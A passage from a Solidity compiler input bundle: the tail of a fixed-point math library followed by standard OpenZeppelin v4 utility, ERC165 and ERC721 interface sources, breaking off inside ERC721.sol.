* 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * 